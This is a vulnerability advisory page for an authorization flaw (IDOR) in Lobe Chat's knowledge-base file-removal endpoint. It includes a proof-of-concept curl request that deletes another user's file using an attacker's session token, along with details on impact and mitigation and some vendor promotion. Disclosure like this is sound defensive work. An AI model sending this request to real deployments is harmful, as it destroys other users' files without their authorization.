GHSA-j7xp-4mg9-x28r
LOWLobe Chat has IDOR in Knowledge Base File Removal that Allows Cross User File Deletion
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
@lobehub/chatnpmDescription
Summary
knowledgeBase.removeFilesFromKnowledgeBase tRPC ep allows authenticated users to delete files from any knowledge base without verifying ownership.
Details
userId filter in the database query is commented out, so it's enabling attackers to delete other users' KB files if they know the knowledge base ID and file ID.
PoC
ATTACKER_TOKEN="xx"
VICTIM_KB="kb_tuLBfskdDN1r"
VICTIM_FILE="file_v5wCNLqSaoPp"
curl -X POST "https://localhost/trpc/lambda/knowledgeBase.removeFilesFromKnowledgeBase?batch=1" -H "Content-Type: application/json" -b "__Secure-better-auth.session_token=$ATTACKER_TOKEN" -d '{"0":{"json":{"knowledgeBaseId":"'"$VICTIM_KB"'","ids":["'"$VICTIM_FILE"'"]}}}'
Response:
{"result":{"data":{"json":{"command":"DELETE","rowCount":1,"oid":null,"rows":[],"fields":[]}}}}
Impact
An attacker can delete files from any user's KB. RAG/AI functionality broken when files removed. It could cause loss of important documents, proprietary data etc.
While the vuln is confirmed, practical exploitation requires knowing target's KB ID and target's file ID. These IDs are random and not easily enumerable. However, IDs may leak through shared links, logs, referrer headers and so on. Missing authorization check is a critical security flaw regardless.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | @lobehub/chat | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @lobehub/chat. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Remediation status
No patched version of @lobehub/chat has shipped for GHSA-j7xp-4mg9-x28r yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-j7xp-4mg9-x28r is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-j7xp-4mg9-x28r. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-j7xp-4mg9-x28r in your dependencies?
O3 detects GHSA-j7xp-4mg9-x28r across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.